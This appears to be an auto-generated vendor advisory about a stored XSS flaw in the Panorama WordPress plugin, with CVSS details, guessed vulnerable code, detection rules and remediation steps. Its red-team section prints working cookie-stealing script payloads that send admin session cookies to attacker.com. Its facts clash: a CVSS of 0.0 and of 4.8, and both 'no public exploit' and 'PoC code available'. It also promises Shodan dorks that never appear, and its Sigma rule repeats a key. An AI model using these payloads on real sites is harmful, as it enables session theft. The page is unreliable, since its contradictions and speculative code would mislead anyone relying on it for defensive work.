CVE-2024-11843
Executive Summary
CVE-2024-11843 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Panorama WordPress plugin (versions through 1.5.1). The plugin fails to properly sanitize and escape certain settings, allowing high-privilege users (e.g., administrators) to inject arbitrary JavaScript into the WordPress admin panel. This attack can succeed even when the unfiltered_html capability is disallowed, such as in multisite configurations. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement of high privileges and user interaction. No public exploit code or proof-of-concept is currently available, and the plugin remains unpatched.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the Panorama plugin from the WordPress dashboard or via direct download are at risk. Since no patch exists, the supply chain risk is elevated—users must manually remove or disable the plugin to mitigate the threat.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Base Score: 4.8 (Medium)
- Attack Vector (AV): Network (N) – The attack is performed over the network.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): High (H) – Attacker needs admin-level access.
- User Interaction (UI): Required (R) – Victim must visit the compromised admin page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. Exploitation requires admin credentials, but in multisite environments, a site admin can compromise the entire network’s admin interface.
Deep Dive & Mechanics
The Panorama plugin stores user-configurable settings in the WordPress database (likely via the options table or post meta). These settings are output without proper sanitization or escaping in the admin panel. The vulnerability is triggered when an admin user saves a malicious payload (e.g., <script>alert('XSS')</script>) into a plugin setting field. When another admin (or the same admin) views the settings page, the payload executes in the context of the admin dashboard.
Key Technical Details:
- Vulnerable Component: Plugin settings page (likely
admin.php?page=panorama-settingsor similar). - Root Cause: Lack of
esc_html(),esc_attr(), orwp_kses()on output of saved settings. - Privilege Escalation Vector: In multisite, a site admin (who cannot normally use
unfiltered_html) can inject scripts that affect super admins. - Impact: Session hijacking, defacement, credential theft via fake login forms, or redirection to malicious sites.
Vulnerable vs. Patched Code
Since no official patch exists, the following is a hypothetical fix based on standard WordPress security practices.
Vulnerable Code (panorama/admin/settings-page.php):
<?php
// Assume $setting_value is retrieved from database
$setting_value = get_option('panorama_custom_css');
echo '<textarea name="panorama_custom_css">' . $setting_value . '</textarea>';
?>
Patched Code (Recommended Fix):
<?php
$setting_value = get_option('panorama_custom_css');
echo '<textarea name="panorama_custom_css">' . esc_textarea( $setting_value ) . '</textarea>';
?>
Explanation: The vulnerable code directly echoes the raw value. The patched code uses esc_textarea() to escape the value for safe output inside a <textarea> tag. For other contexts (e.g., inside HTML attributes), use esc_attr() or esc_html().
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Admin credentials for a WordPress site with Panorama plugin v1.5.1.
- Access to the plugin settings page (e.g.,
/wp-admin/admin.php?page=panorama-settings).
Steps:
- Log in as an admin user.
- Navigate to Panorama settings.
- In a vulnerable field (e.g., "Custom CSS" or "Header Scripts"), inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the settings.
- When another admin visits the same settings page, the script executes, exfiltrating their session cookie.
Alternative Payload (for multisite):
<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie;</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor admin panel access logs for unusual POST requests to
admin-post.phporoptions.phpwith suspicious payloads. - Use a Web Application Firewall (WAF) to block requests containing
<script>tags in plugin settings fields. - Implement Content Security Policy (CSP) headers to restrict script execution.
Hardening:
- Disable or remove the Panorama plugin immediately.
- If removal is not possible, restrict admin access to trusted users only.
- Apply the principle of least privilege: do not grant admin rights to untrusted users in multisite.
Indicators of Compromise (IOCs)
- File System: Presence of the Panorama plugin directory at
/wp-content/plugins/panorama/. - Database: Entries in
wp_optionstable withoption_namelikepanorama_*containing JavaScript payloads. - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin IP.
- Logs:
wp-adminaccess logs showing repeated visits toadmin.php?page=panorama-settingswith unusual query parameters.
Detection Engineering
YARA Rule
rule Detect_Panorama_XSS_Payload {
meta:
description = "Detects stored XSS payloads in Panorama plugin settings"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-11843"
strings:
$payload1 = /<script[^>]*>.*<\/script>/i
$payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
$payload3 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: Panorama Plugin Stored XSS Detection
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in Panorama plugin settings
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'panorama'
cs-uri-query|contains: 'settings'
condition: selection
falsepositives:
- Legitimate admin updates
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-11843 Panorama Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"panorama"; http_uri; content:"settings"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable or Remove the Plugin: Deactivate and delete the Panorama plugin from all WordPress installations.
- Audit Admin Users: Review all admin accounts for signs of compromise, especially in multisite environments.
- Scan for Malicious Content: Use a security plugin (e.g., Wordfence) to scan the database for injected scripts.
Long-Term Measures:
- Apply Virtual Patching: Use a WAF to block requests containing
<script>tags in plugin settings fields. - Monitor Plugin Updates: Subscribe to security advisories for the Panorama plugin. If a patch is released, apply it immediately.
- Implement CSP: Add a Content Security Policy header to restrict script execution to trusted sources only.
Workaround (if plugin must remain active):
- Restrict access to the plugin settings page via
.htaccessor a custom capability check. - Manually escape all output in the plugin’s admin pages (see patched code example).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.